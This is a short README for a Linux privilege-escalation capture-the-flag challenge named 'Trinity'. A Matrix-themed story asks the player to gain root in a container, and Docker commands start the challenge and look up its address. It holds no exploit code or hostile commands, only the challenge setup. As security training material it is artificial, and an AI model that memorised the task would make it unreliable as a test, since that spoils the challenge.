## QUICKSTART

## Linux Privilege Escalation - Challenge "Trinity"

präsentiert von Konrad Langenberg, Jonas Franz und Simon Hilchenbach

Neo,

in our mission to drain the machines' energy, Trinity was able to break into their energy grid and shut it off.

At least we thought so ...

Somehow, there still is this one big energy plant remaining that can power whole 01 or — as we call it — the Maschine city.

We were able to obtain a stable network connection to their API which appears to be based on their custom Matrix protocol — the inner workings, unfortunately, are unknown to us.

Can you take on this challenge, become root user and shutdown this plant? You're our last hope, Neo.

Morpheus

Ausführen der Challenge:

docker run --rm --name trinity registry.code.fbi.h-da.de/hc/trinity

Abfrage der IP-Adresse des Containers:

docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}}{{end}}' trinity
